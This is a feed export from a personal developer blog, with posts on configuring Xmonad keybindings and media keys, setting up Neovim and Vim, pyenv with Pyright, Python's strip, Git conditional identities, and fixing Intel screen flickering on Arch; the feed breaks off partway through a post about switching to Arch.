Railslidehttps://railslide.io/2024-02-18T00:00:00+01:00Xmonad keybindings and media keys2024-02-18T00:00:00+01:002024-02-18T00:00:00+01:00Giuliatag:railslide.io,2024-02-18:/xmonad-keybindings-and-media-keys.html<p>How to set up keybindings and make media keys work in Xmonad</p><p>One of the first things I wanted to get to work once I installed Xmonad were the media keys. I use music as a way to concentrate when coding and having to go through the hassle of finding the player window, reaching for my mouse, and clicking on the control buttons is a waste of time and focus. So controlling playback from my keyboard is a must.</p>
<p>However Xmonad doesn't support media keys out of the box, so in order to have them working I had to define some keybindings.</p>
<h2>How keybindings work</h2>
<p>First I had to import the <code>XMonad.Util.EZConfig</code> module at the top of my config.</p>
<div class="highlight"><pre><span></span><code><span class="kr">import</span><span class="w"> </span><span class="nn">XMonad.Util.EZConfig</span>
</code></pre></div>
<p>The <code>XMonad.Util.EZConfig</code> includes <code>additionalKeys</code> which can be used to define keybindings. The syntax is the following</p>
<div class="highlight"><pre><span></span><code><span class="nf">myKeyBindings</span><span class="w"> </span><span class="ow">=</span>
<span class="w"> </span><span class="p">[</span><span class="w"> </span><span class="p">((</span><span class="n">mod1Mask</span><span class="p">,</span><span class="w"> </span><span class="n">xK_f</span><span class="p">),</span><span class="w"> </span><span class="n">spawn</span><span class="w"> </span><span class="s">"firefox"</span><span class="p">)</span><span class="w"> </span><span class="c1">-- mod+f launches Firefox</span>
<span class="w"> </span><span class="p">,</span><span class="w"> </span><span class="p">((</span><span class="n">noModMask</span><span class="p">,</span><span class="w"> </span><span class="n">xK_Print</span><span class="p">),</span><span class="w"> </span><span class="n">spawn</span><span class="w"> </span><span class="s">"scrot -s"</span><span class="p">)</span><span class="w"> </span><span class="c1">-- PrtScr takes a screenshot</span>
<span class="w"> </span><span class="p">]</span>
<span class="nf">myConfig</span><span class="w"> </span><span class="ow">=</span><span class="w"> </span><span class="n">def</span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">terminal</span><span class="w"> </span><span class="ow">=</span><span class="w"> </span><span class="n">myTerminal</span><span class="p">,</span>
<span class="w"> </span><span class="n">modMask</span><span class="w"> </span><span class="ow">=</span><span class="w"> </span><span class="n">myModMask</span><span class="p">,</span>
<span class="w"> </span><span class="n">startupHook</span><span class="w"> </span><span class="ow">=</span><span class="w"> </span><span class="n">myStartupHook</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">`</span><span class="n">additionalKeys</span><span class="p">`</span><span class="w"> </span><span class="n">myKeyBindings</span>
</code></pre></div>
<p>where <code>noModMask</code> is used for when you don't need a modifier, like in the example above where <kdb>PrtScr</kbd> is all you need to press in order to take a screenshot.</p>
<p>While that certainly works, it's not exactly the most straightforward syntax. Thankfully the very same module also includes <code>additionalKeysP</code>, which helps solving exactly that. According to the docs, it uses <em>"Emacs-style keybinding specifications"</em>, which I would have rather called human-friendly specifications but I guess that wasn't equally catchy.</p>
<p>So with the new syntax, the config becomes</p>
<div class="highlight"><pre><span></span><code><span class="n">myKeyBindings</span><span class="w"> </span><span class="o">=</span>
<span class="w"> </span><span class="err">[</span><span class="w"> </span><span class="p">(</span><span class="s2">"M-f"</span><span class="p">,</span><span class="w"> </span><span class="n">spawn</span><span class="w"> </span><span class="s2">"firefox"</span><span class="p">)</span>
<span class="w"> </span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="s2">"<Print>"</span><span class="p">,</span><span class="w"> </span><span class="n">spawn</span><span class="w"> </span><span class="s2">"scrot -s"</span><span class="p">)</span>
<span class="w"> </span><span class="err">]</span>
<span class="n">myConfig</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">def</span>
<span class="w"> </span><span class="err">{</span>
<span class="w"> </span><span class="n">terminal</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">myTerminal</span><span class="p">,</span>
<span class="w"> </span><span class="n">modMask</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">myModMask</span><span class="p">,</span>
<span class="w"> </span><span class="n">startupHook</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">myStartupHook</span>
<span class="w"> </span><span class="err">}</span><span class="w"> </span><span class="n n-Quoted">`additionalKeysP`</span><span class="w"> </span><span class="n">myKeyBindings</span>
</code></pre></div>
<p>Much better! A full list of the supported special keys can be found in <a href="https://hackage.haskell.org/package/xmonad-contrib-0.18.0/docs/XMonad-Util-EZConfig.html#g:3">Xmonad docs</a>.</p>
<h2>Setting media keys up</h2>
<p>Next was to set up media keys. In order for them to work, besides a keybinding, I also needed something to control the currently active player. For that I installed <code>playerctl</code> which worked great both from my keyboard and from my headphones.</p>
<div class="highlight"><pre><span></span><code><span class="nf">myKeyBindings</span><span class="w"> </span><span class="ow">=</span>
<span class="w"> </span><span class="p">[</span><span class="w"> </span><span class="p">(</span><span class="s">"M-f"</span><span class="p">,</span><span class="w"> </span><span class="n">spawn</span><span class="w"> </span><span class="s">"firefox"</span><span class="p">)</span>
<span class="w"> </span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="s">"<Print>"</span><span class="p">,</span><span class="w"> </span><span class="n">spawn</span><span class="w"> </span><span class="s">"scrot -s"</span><span class="p">)</span>
<span class="w"> </span><span class="c1">-- Media keys</span>
<span class="w"> </span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="s">"<XF86AudioPlay>"</span><span class="p">,</span><span class="w"> </span><span class="n">spawn</span><span class="w"> </span><span class="s">"playerctl play-pause"</span><span class="p">)</span>
<span class="w"> </span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="s">"<XF86AudioNext>"</span><span class="p">,</span><span class="w"> </span><span class="n">spawn</span><span class="w"> </span><span class="s">"playerctl next"</span><span class="p">)</span>
<span class="w"> </span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="s">"<XF86AudioPrev>"</span><span class="p">,</span><span class="w"> </span><span class="n">spawn</span><span class="w"> </span><span class="s">"playerctl previous"</span><span class="p">)</span>
<span class="w"> </span><span class="p">]</span>
</code></pre></div>
<p>Note that if you are using <code>additionalKeys</code>, you will have to import <code>Graphics.X11.ExtraTypes.XF86</code> in order to use <code>xF86XK_AudioPlay</code> and co.</p>
<h2>Resources</h2>
<ul>
<li><a href="https://xmonad.org/TUTORIAL.html">Xmonad configuration tutorial</a></li>
<li><a href="https://hackage.haskell.org/package/xmonad-contrib-0.18.0/docs/XMonad-Util-EZConfig.html">XMonad.Util.EZConfig docs</a></li>
</ul>Exploring xmonad: Getting started2024-02-05T00:00:00+01:002024-02-05T00:00:00+01:00Giuliatag:railslide.io,2024-02-05:/exploring-xmonad-getting-started.html<p>The first of a series of articles about exploring xmonad and trying to wrap my head around Haskell.</p><p>This is the first article of a series about my experience with setting up xmonad. The idea is to keep track of my journey and to write some handy guides for either someone who might be curious about xmonad as well and/or my future self.</p>
<h2>Installing all the things</h2>
<p>What a better place for starting than installing xmonad?</p>
<p>Ideally you want to install the following</p>
<ul>
<li><code>xmonad</code> (duh!)</li>
<li><code>xmonad-contrib</code>, xmonad extensions (you can't do much without it!)</li>
<li><code>dmenu</code>, launcher/menu for applications</li>
<li><code>xterm</code>, xmonad default terminal emulator. You can switch to your favourite emulator later, but it's good to have xterm available as a fallback.</li>
</ul>
<p>For Arch, I installed all the above via Yay/Pacman and then added a <a href="https://wiki.archlinux.org/title/Xmonad#Problems_with_finding_shared_libraries_after_update">Pacman hook</a> to avoid future headaches when updating.</p>
<h2>Basic configuration</h2>
<p>Next I created a basic config file. You don't necessarily need one, but I wanted to customize a couple of things already from the start.</p>
<div class="highlight"><pre><span></span><code><span class="kr">import</span><span class="w"> </span><span class="nn">XMonad</span>
<span class="nf">myModMask</span><span class="w"> </span><span class="ow">=</span><span class="w"> </span><span class="n">mod4Mask</span><span class="w"> </span><span class="c1">-- Use Super as the mod key</span>
<span class="nf">myTerminal</span><span class="w"> </span><span class="ow">=</span><span class="w"> </span><span class="s">"alacritty"</span>
<span class="c1">-- Actions to perform whenever xmonad starts or is restarted</span>
<span class="nf">myStartupHook</span><span class="w"> </span><span class="ow">=</span><span class="w"> </span><span class="kr">do</span>
<span class="w"> </span><span class="n">spawn</span><span class="w"> </span><span class="s">"setxkbmap -layout us"</span>
<span class="nf">myConfig</span><span class="w"> </span><span class="ow">=</span><span class="w"> </span><span class="n">def</span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">terminal</span><span class="w"> </span><span class="ow">=</span><span class="w"> </span><span class="n">myTerminal</span><span class="p">,</span>
<span class="w"> </span><span class="n">modMask</span><span class="w"> </span><span class="ow">=</span><span class="w"> </span><span class="n">myModMask</span><span class="p">,</span>
<span class="w"> </span><span class="n">startupHook</span><span class="w"> </span><span class="ow">=</span><span class="w"> </span><span class="n">myStartupHook</span>
<span class="w"> </span><span class="p">}</span>
<span class="c1">-- Run xmonad with the settings specified above</span>
<span class="nf">main</span><span class="w"> </span><span class="ow">::</span><span class="w"> </span><span class="kt">IO</span><span class="w"> </span><span class="nb">()</span>
<span class="nf">main</span><span class="w"> </span><span class="ow">=</span><span class="w"> </span><span class="n">xmonad</span><span class="w"> </span><span class="o">$</span><span class="w"> </span><span class="n">myConfig</span>
</code></pre></div>
<p>and saved it into <code>~/.xmonad/xmonad.hs</code>.</p>
<p>Note that the above configuration will not work with xmonad<0.17.</p>
<p>It's also worth nothing that the location of the config might vary. According to xmonad doc it should go into <code>~/.config/xmonad/xmonad.hs</code>, which however didn't work for me (thankfully I had xterm installed, otherwise I wouldn't have been able to do anything once I logged into xmonad!). Arch wiki tells you instead to place it into <code>~/.xmonad/xmonad.hs</code>, which in my case resulted in the config being picked up correctly.</p>
<h2>Getting around in xmonad</h2>
<p>Next is to log into xmonad and test if the config is loaded correctly.</p>
<p>If <code>Super+Shift+Enter</code> launches Alacritty, you're good to go. If not, try moving the config to a different location (see above).</p>
<p>Here are a list of useful keybindings to start with</p>
<table>
<thead>
<tr>
<th>Keybinding</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<tr>
<td><kbd>mod</kbd> <kbd>shift</kbd> <kbd>return</kbd></td>
<td>Launch terminal</td>
</tr>
<tr>
<td><kbd>mod</kbd> <kbd>p</kbd></td>
<td>Launch dmenu</td>
</tr>
<tr>
<td><kbd>mod</kbd> <kbd>shift</kbd> <kbd>c</kbd></td>
<td>Close the focused window</td>
</tr>
<tr>
<td><kbd>mod</kbd> <kbd>shift</kbd> <kbd>q</kbd></td>
<td>Quit xmonad</td>
</tr>
<tr>
<td><kbd>mod</kbd> <kbd>q</kbd></td>
<td>Restart xmonad</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<ul>
<li><a href="https://xmonad.org/documentation.html">Xmonad docs</a></li>
<li><a href="https://wiki.archlinux.org/title/xmonad">Xmonad - Arch linux wiki</a></li>
</ul>Make pyenv and pyright play nice together2023-03-12T00:00:00+01:002023-03-12T00:00:00+01:00Giuliatag:railslide.io,2023-03-12:/make-pyenv-and-pyright-play-nice-together.html<p>If you use <code>pyenv local</code>, Pyright will not automatically pick up the correct virtualenv. Here's an explanation of why it happens and how to work around it.</p><p>Some time ago I started looking into setting up the built-in LSPs in Neovim, and being Python my main programming language, I set up <a href="https://github.com/microsoft/pyright/">Pyright</a> as my first language server and gave it a spin. While all the basics things worked out of the box, I kept getting a bunch of <code>Import "some_module" could not be resolved</code>. After having ruled out the classic mistakes (i.e. forgetting to install dependencies, or running Neovim from the wrong folder), and ran some test (<a href="https://github.com/dense-analysis/ale">Ale</a> recognized my virtualenv as expected), all that was left was that somehow Pyright did not play along with my virtualenv.</p>
<h2>Why it happens</h2>
<p>By default Pyright tries to be smart and to automatically pick up existing virtualenvs. When it comes to Pyenv, Pyright checks whether <code>$PYENV_VERSION</code> is set and determines which Python interpreter to use from its value. So far so good.</p>
<p>The problems however start when using <code>pyenv local</code>. Basically <a href="https://github.com/pyenv/pyenv-virtualenv">pyenv-virtualenv</a> has this super nifty function that couples the specified virtualenv with the current folder, so that it gets automatically activated whenever you <code>cd</code> into the directory (and deactivate once you move away from it). However, whenever the virtualenv gets automagically activated, the <code>$PYENV_VERSION</code> variable doesn't get set (and apparently that's <a href="https://github.com/pyenv/pyenv/issues/1760">by design</a>, and hence unlikely to change anytime soon).</p>
<h2>How to solve(ish)</h2>
<p>If you need to fix something on the fly, forcing Pyenv to set the environment variable by using <code>pyenv shell <env_name></code> is a quick way to work around the issue. It's worth mentioning, however, that it's only temporary and that you will have type it again every time you start a new shell. So great for debugging, but not ideal as a long term solution.</p>
<p>A more long term solution is to leverage Pyright configuration options. For doing so, you need to create a <code>pyrightconfig.json</code> file in the root of your project with the following content</p>
<div class="highlight"><pre><span></span><code><span class="p">{</span>
<span class="w"> </span><span class="nt">"venvPath"</span><span class="p">:</span><span class="w"> </span><span class="s2">"<PYENV_ROOT>/versions"</span><span class="p">,</span>
<span class="w"> </span><span class="nt">"venv"</span><span class="p">:</span><span class="w"> </span><span class="s2">"<ENV_NAME>"</span>
<span class="p">}</span>
</code></pre></div>
<p>where <code>PYENV_ROOT</code> is the output of <code>echo $PYENV_ROOT</code> and <code>ENV_NAME</code> is the name of your virtualenv.</p>
<p>Keep in mind though that <code>pyrightconfig.json</code> <u>does not support shell variables</u>, so stuff like <code>~/.pyenv/versions</code> won't work.</p>
<p>While this is a way better method, it still requires a lot of typing. Wouldn't be great if it was possible to automate this somehow? Enter <a href="https://github.com/alefpereira/pyenv-pyright">pyenv-pyright</a>, a Pyenv plugin that takes care of handling <code>pyrightconfig.json</code> on your behalf. So now all you have to do is to type <code>pyenv pyright</code> once and you're ready to go!</p>
<p>Happy coding!</p>
<h2>Resources</h2>
<ul>
<li><a href="https://github.com/alefpereira/pyenv-pyright">pyenv-pyright</a></li>
<li><a href="https://github.com/microsoft/pyright/blob/main/docs/configuration.md">Pyright configuration options</a></li>
</ul>TIL: strip does not do what I think it does2023-02-15T00:00:00+01:002023-02-15T00:00:00+01:00Giuliatag:railslide.io,2023-02-15:/til-strip-does-not-do-what-i-think-it-does.html<p>It turns out I have been using it wrong for all this time!</p><p>I always thought <code>strip</code>, <code>lstrip</code> and <code>rstrip</code> would simply match and strip whatever string it was passed to them. However, it turns out that's not how they work.</p>
<div class="highlight"><pre><span></span><code><span class="s2">"Hello world"</span><span class="o">.</span><span class="n">strip</span><span class="p">(</span><span class="s2">"hel"</span><span class="p">)</span>
<span class="c1"># Expected outcome: 'lo world'</span>
<span class="s1">'o world'</span> <span class="c1"># Actual outcome</span>
</code></pre></div>
<p>What <code>strip</code>, <code>lstrip</code> and <code>rstrip</code> actually do is to remove <strong>any</strong> of the specified characters until a non-matching character is encountered. So in the example above, the second <code>l</code> still matches the provided set of chars and hence gets removed. </p>
<p>I guess most of the time I just got lucky and never stumbled on the actual behavior. But what I should have used in most of the cases is actually <code>removeprefix</code> and <code>removesuffix</code>, as the docs suggest.</p>
<p>Today I learned.</p>
<h2>References</h2>
<ul>
<li><a href="https://docs.python.org/3/library/stdtypes.html?highlight=strip#str.rstrip">Docs for <code>strip</code></a> </li>
<li><a href="https://docs.python.org/3/library/stdtypes.html?highlight=strip#str.lstrip">Docs for <code>lstrip</code></a> </li>
<li><a href="https://docs.python.org/3/library/stdtypes.html?highlight=strip#str.rstrip">Docs for <code>rstrip</code></a> </li>
</ul>Going full in with Neovim2023-01-21T00:00:00+01:002023-01-21T00:00:00+01:00Giuliatag:railslide.io,2023-01-21:/going-full-in-with-neovim.html<p>Goodbye <code>.vimrc</code>, hello <code>lua.init</code>!</p><p>A while ago I decided to fully embrace Neovim and port all my config from <code>.vimrc</code> over to Lua.</p>
<h2>The why(s)</h2>
<p>First thing first, why Neovim? Because you basically get the full Vim experience, but with sane defaults and lsp support. Plus the project is community driven and has faster development cycles (multiple maintainers, less legacy code, etc.). Sure there are some differences, but so far I have yet to find myself in the situation where I fall back to Vim because I cannot do something in Neovim.</p>
<p>Ok, and what about Lua? When I started my <a href="https://railslide.io/learning-vim-in-2022.html">Vim adventure</a> I felt like I didn't know enough about Vim and Neovim to have a strong preference for one over the other, so I just placed all my config in <code>.vimrc</code> as that was compatible with both. But then time passed and two things happened: first, I realized I have never went back once to Vim after trying Neovim; second, Vim announced that from version 9.0 it will introduce a new scripting language (Vim 9 Script), which will not be completely backward-compatible with the old VimScript. For me that meant that, no matter which editor I chose, I would have to learn a new language. And if I have to put the effort, I'd rather do it for something multipurpose like Lua, than for a language that only applies to my editor.</p>
<h2>The structure</h2>
<p>After a bit of back and forth, this is what the directory structure of my config currently looks like:</p>
<div class="highlight"><pre><span></span><code><span class="n">nvim</span>
<span class="n">├── after</span>
<span class="n">│ └── plugin</span>
<span class="n">│ ├── ale.lua</span>
<span class="n">│ ├── lightline.vim.lua</span>
<span class="n">│ ├── onedark.lua</span>
<span class="n">│ └── telescope.lua</span>
<span class="n">├── init.lua</span>
<span class="n">├── lua</span>
<span class="n">│ └── railslide</span>
<span class="n">│ ├── mappings.lua</span>
<span class="n">│ ├── options.lua</span>
<span class="n">│ └── plugin-manager.lua</span>
<span class="n">└── plugin</span>
<span class="n"> └── packer_compiled.lua</span>
</code></pre></div>
<p>The <code>lua/railside</code> folder is where I keep my general configuration. The <code>lua</code> folder is included in Neovim <code>runtimepath</code> and it's where Neovim looks for Lua plugins by default. Inside that I created a directory with my own username in order to avoid namespace conflicts (the name per se doesn't actually matter, as long as it's something unlikely to be used by something else you're good to go).</p>
<p>All the files in the <code>railslide</code> folder are then imported in my <code>init.lua</code></p>
<div class="highlight"><pre><span></span><code><span class="nb">require</span><span class="p">(</span><span class="s2">"railslide.plugin-manager"</span><span class="p">)</span> <span class="c1">-- This needs to be at the top</span>
<span class="nb">require</span><span class="p">(</span><span class="s2">"railslide.options"</span><span class="p">)</span>
<span class="nb">require</span><span class="p">(</span><span class="s2">"railslide.mappings"</span><span class="p">)</span>
</code></pre></div>
<h2>Plugins</h2>
<p>A side effect of my config migration is that I switched to a new plugin manager as I decided that I wanted to go for something written in Lua. Packer seemed to be the most popular choice, so I went for that and so far it has been good. There are a lot of good reasons to use Packer, but one of the things I really appreciate is the <a href="https://github.com/wbthomason/packer.nvim#bootstrapping">bootstrapping snippet</a> which allows you to automatically install and set up Packer on a new machine.</p>
<p>My Packer settings and the list of installed plugins are stored in <code>lua/railslide/plugin-manager.lua</code>, while the files containing the configurations for the actual plugins are in the <code>after/plugin</code> folder, following a <code><plugin_name>.lua</code> naming pattern. The cool thing with the <code>after</code> folder is that it gets automatically sourced (i.e. no need for me to explicitly require them in my <code>init.lua</code>) and, as the name suggests, that only happens after all the rest of my configurations have been loaded, which means no risk for plugins not picking up some other setting (e.g. the leader definition). Plus, having a file for each plugin makes it very easy for me to know where the settings for it are and to get rid of them if I were to decide to uninstall the plugin.</p>
<p>For Lua plugins I also decided to require them through a protected call, i.e.</p>
<div class="highlight"><pre><span></span><code><span class="n">status_ok</span><span class="p">,</span> <span class="n">some_plugin</span> <span class="o">=</span> <span class="nb">pcall</span><span class="p">(</span><span class="nb">require</span><span class="p">,</span> <span class="s1">'some_plugin'</span><span class="p">)</span>
<span class="kr">if</span> <span class="ow">not</span> <span class="n">status_ok</span> <span class="kr">then</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'Could not find some_plugin plugin'</span><span class="p">)</span>
<span class="kr">return</span>
<span class="kr">end</span>
<span class="n">some_plugin</span><span class="p">.</span><span class="n">setup</span><span class="p">(</span>
<span class="c1">-- ...</span>
<span class="p">)</span>
</code></pre></div>
<p>That way if a plugin isn't correctly loaded, Neovim will display a message below the status line rather than printing out stack traces at start time. This has come in handy for me whenever I forgot to run <code>packerSync</code> after git pulling an updated copy of my dotfiles, as well as for when I want to temporarily disable a plugin without touching its configuration.</p>
<p>The <code>plugin/packed_compiled.lua</code> is where Packer stores the compiled code it uses for reducing startup time. I added it to <code>.gitignore</code> as there was no real benefit in committing it and I didn't want to <a href="https://github.com/wbthomason/packer.nvim/issues/462#issuecomment-876676720">pollute my git history</a>. Plus it will be generated anew anyway whenever I set up Neovim on a new machine.</p>
<h2>Use the source, Luke</h2>
<p>This is an overview of how my configuration looks and the reasoning that went behind it. So far it has served me well, but of course I'm always happy to find ways to further improve my setup. So if you're curious about the nitty-gritty and/or how my config might evolve in the future, <a href="https://github.com/Railslide/dotfiles/tree/master/neovim/.config/nvim">my dotfiles repo GitHub</a> is the place to go.</p>Learning vim in 20222023-01-07T00:00:00+01:002023-01-07T00:00:00+01:00Giuliatag:railslide.io,2023-01-07:/learning-vim-in-2022.html<p>I decided that in 2022 I would learn Vim, here's how it went.</p><p>At a certain point I decided that it was time for me to learn how to use Vim. There were mainly two reasons for it. Number one, while playing the Sans Holiday Hack Challenge I have had a taste of how powerful could Vim be, as I discovered that I could open a binary file, pipe it through <code>xxd</code>, and modify its source code. Second, I recently found myself orphaned of an editor of choice, so I needed to find a new one.</p>
<h2>Why I needed a new editor</h2>
<p>For a long time I have used Sublime Text as my go-to editor. I set up a bunch of plugins so that I could have linting and autocompletion, bought a license (at the time the business model of Sublime was an one-off lifelong license) and happily coded with it for a bunch of years. The problem with that setup was that the more languages I started coding in the more plugins I had to add, and those plugins didn't always play along with each other. On top of that Sublime has now switched to a monthly subscription license model, and - while I still use Sublime for occasional note-taking and writing this blog - I don't feel it gives me enough value for committing to a subscription.</p>
<p>Then came Kotlin and with it came IntelliJ. I loved IntelliJ and for me it's one of the best IDEs out there: fantastic language support, everything can be done through keyboard, fuzzy search for anything you might need (files, actions, etc.), and so on. So why don't I stick to it? Well, mostly because its free version doesn't have multilanguage support. In other words, if you don't use the paid version, you have to use a different editor for each language (i.e. IntelliJ for Kotlin, PyCharm for Python, GoLand for Go, and good luck with JS/Typescript as there's no free version of Webstorm). That is usually not a problem at work, as my employer is happy to cover the cost of the license, but when it comes to the amount of code I do in my free time I found hard to motivate such an expense.</p>
<p>Last but not least I also gave VSCode a shot, but I found it way too mouse oriented from my liking and its shortcuts didn't feel super intuitive to me.</p>
<h2>Learning Vim</h2>
<p>Being Vim a free keyboard-based open source cross-platform editor, it sounded like the perfect answer to all my needs. But of course all that goodness didn't come for free as it involves a steep learning curve. Thankfully there are some amazing resources out there and if you happen to be using Neovim I strongly recommend to go through the tutorial (just launch Neovim and type <code>:Tutor</code>).</p>
<p>My approach to Vim was to go cold turkey, which in practice meant that I switched to it (or actually to Neovim) as my day-to-day editor. I initially tried to use the Vim Plugin in VSCode, but that didn't really worked for me - maybe it was because I never felt at home with VSCode in the first place, but it mostly felt like a headache without any progress in actually learning Vim. So I went back to Vim and started with a very vanilla configuration with the idea that I would build it up on it whenever I felt the need for extra functionality. Did I get frustrated from lack of functionality from time to time? Absolutely! But shaping my <code>.vimrc</code> according to my needs and pain points is a great way to reduce the risk of bloating my setup with stuff I don't really need, as well as to make sure that I understand what every single line of my config file does.</p>
<p>As there's only a certain amount of frustration a person can cope with, I also made some compromises. For example I decided to ignore <code>hjkl</code> and stick to the arrows - I know this will probably offend Vim purists, but I needed a balance between learning things the Vim way and productivity. I tend to mob and pair programming a lot and I like my colleagues too much for forcing them to watch me trying to navigate around - they still had to put up with me being lost in Vim from time to time, but being unable to move around a file felt like a bit too much to endure. I don't exclude I might try to learn to use <code>jhkl</code> in the future, but for now it felt like an ok tradeoff to just skip it.</p>
<p>Copy and pasting is probably the part I struggle the most with at the moment. Vim doesn't use the system clipboard as default, so copy pasting things from and to Vim is anything but straightforward. Also whenever you delete something in Vim it ends in the copy-paste registry, so I often end up overwriting whatever I was meant to copy simply because I removed some stuff before pasting.</p>
<p>On the bright side there are some motions I really enjoy and see a lot of value in. For example, the ability to delete a whole line by simply typing <code>dd</code> is a bliss and I often find myself longing for it when using other text-editing programs. I also really like the so called <a href="https://github.com/iggredible/Learn-Vim/blob/master/ch04_vim_grammar.md"><em>Vim grammar</em></a>, i.e. the ability to combine together motions and operators to create/learn new commands. Or, in more simple terms, how things don't seem to make sense in Vim until you understand the thinking behind them and suddenly everything clicks in place.</p>
<h2>Conclusion</h2>
<p>So, was it worthy learning Vim in 2022? To me yes. Sure, it might have been frustrating at times and there were definitely occasions where editing some files took me what it felt like an eternity, but all in all it has been growing on me and nowadays I rarely feel the need to resort to other editors. So if you are willing to put the time, I'd say it's worth a shot.</p>
<h2>Resources</h2>
<ul>
<li><a href="https://github.com/neovim/neovim/blob/master/runtime/tutor/en/vim-01-beginner.tutor">Transcript of the builtin Neovim tutorial</a>. I highly recommend to do the interactive version of it by typing <code>:Tutor</code> after launching Neovim, but it's good to have a reference for when you just want to quickly review something.</li>
<li><a href="https://www.youtube.com/playlist?list=PLm323Lc7iSW_wuxqmKx_xxNtJC_hJbQ7R">Vim as your editor YouTube Playlist by ThePrimeagean</a>.</li>
<li><a href="https://github.com/iggredible/Learn-Vim">Learn Vim (the Smart Way)</a>. Not for complete beginners but still a great read - just make sure to complete the tutorial first.</li>
</ul>Managing multiple Git identities2022-08-30T00:00:00+02:002022-08-30T00:00:00+02:00Giuliatag:railslide.io,2022-08-30:/managing-multiple-git-identities.html<p>How to manage multiple Git identities on the same machine</p><p>I code for work and I code for fun. When I do it for fun I use my personal email address as identity in Git, but when I do it for work I am often required to use my work email. For a long time my solution was to simply to set my working email in the <code>.gitconfig</code> of my working machine. That worked for most cases (I usually tend to only code for work on my work machine) and as the only pain point seemed to be my dotfiles, I simply accepted the pain of copy-pasting things around as a necessary evil and moved on with my life.</p>
<p>However, it turns out that there's a better way to handle multiple identities in Git: enter conditional configuration! Basically you can tell Git to include a different <code>.gitconfig</code> depending on a certain condition (e.g. when the <code>.git</code> directory matches a certain path). So for my specific case I simply changed my <code>.gitconfig</code> to like something like this:</p>
<div class="highlight"><pre><span></span><code><span class="k">[user]</span>
<span class="w"> </span><span class="na">name</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s"><first name> <last name></span>
<span class="w"> </span><span class="na">email</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s"><work email address></span>
<span class="k">[includeIf "gitdir:~/Projects/personal/"]</span>
<span class="w"> </span><span class="na">path</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">.gitconfig-personal</span>
</code></pre></div>
<p>and then in the <code>.gitconfig-personal</code> I added</p>
<div class="highlight"><pre><span></span><code><span class="k">[user]</span>
<span class="w"> </span><span class="na">name</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s"><first name> <last name></span>
<span class="w"> </span><span class="na">email</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s"><personal email address></span>
</code></pre></div>
<p>and now every time I work on a repo in the <code>personal/</code> folder the work <code>[user]</code> block gets automagically overridden by the personal one. No more weird copy pasting around! </p>
<h3>Gotchas</h3>
<ul>
<li>This requires Git 2.13+ to work.</li>
<li>The last slash of the <code>gitdir</code> path matters! If you forget it, it won't work.</li>
<li><code>../</code> gets matched literally, so don't use that if you want to refer to the parent folder.</li>
</ul>
<h3>References</h3>
<ul>
<li><a href="https://git-scm.com/docs/git-config#_conditional_includes">Conditional configuration in Git docs</a></li>
</ul>How to resolve screen flickering in Arch2022-04-07T00:00:00+02:002022-04-07T00:00:00+02:00Giuliatag:railslide.io,2022-04-07:/how-to-resolve-screen-flickering-in-arch.html<p>How to solve screen flickering in Arch when using Intel graphics and systemd-boot</p><p>After a system upgrade, I got this annoying screen flickering happening at random intervals. Initially I thought the issue was Gnome related, but after a bit of research it turned out to be caused by a <a href="https://wiki.archlinux.org/title/Intel_graphics#Screen_flickering">power saving feature on my Intel graphic card</a>.</p>
<p>The solution to it is to disable the feature through a kernel parameter. For doing so you need to edit a configuration file specific to the chosen boot loader. In my case it's systemd-boot, so the file was located in <code>/boot/loader/entries/[SOMETHING].conf</code> (in my case the filename was the timestamp of my system installation, but mileage may vary).</p>
<p>Open the file with your favourite editor</p>
<div class="highlight"><pre><span></span><code><span class="n">sudo</span><span class="w"> </span><span class="n">nano</span><span class="w"> </span><span class="o">/</span><span class="n">boot</span><span class="o">/</span><span class="n">loader</span><span class="o">/</span><span class="n">entries</span><span class="o">/[</span><span class="n">SOMETHING</span><span class="o">]</span><span class="p">.</span><span class="n">conf</span>
</code></pre></div>
<p>Add <code>i915.enable_psr=0</code> at the end of the <code>options</code> line.</p>
<p>Reboot, and enjoy your epilepsy-free screen time again.</p>
<h2>Further readings</h2>
<ul>
<li><a href="https://wiki.archlinux.org/title/Intel_graphics">Arch wiki page about Intel graphics</a></li>
<li><a href="https://wiki.archlinux.org/title/Kernel_parameters">Arch wiki page about kernel paremeters</a></li>
</ul>Oh btw, I use Arch2022-01-31T00:00:00+01:002022-01-31T00:00:00+01:00Giuliatag:railslide.io,2022-01-31:/oh-btw-i-use-arch.html<p>Somehow I ended up on Arch and so far I'm liking it.</p><p>I was happily running Manjaro when my computer started to crash multiple times per day. I tried debugging but that did not lead anywhere (it will later turn out to be a hardware issue). So, out of ideas I decided to see if the problem was Manjaro specific and if another distro would solve. And it was at that point that a friend somehow convinced me to give Arch a shot.</p>
<h2>My approach to Arch</h2>
<p>The main reason why I've never considered Arch before it was probably that I had the misfortune to run into some terrible Arch users in the past. You know, the <em>Ubuntu is for noobs, installing and running Arch is so complicated, I made it and hence I'm better than you</em> kind of people. So in my mind Arch was pretty much an elitist overcomplicated distro and I didn't really see any good reason for giving it a shot.</p>
<p>What changed my mind then? Well, it has been a combination of things. On one hand - thanks to Manjaro - I got exposed to AUR (Arch User Repository) and grew fond of it. Then on April 1st Arch had released an installer (fun fact: due to the date many thought it was an April's fool) removing the need to install Arch from scratch. Plus, I was extremely frustrated by the frequent crashes and if Arch was the solution so be it.</p>
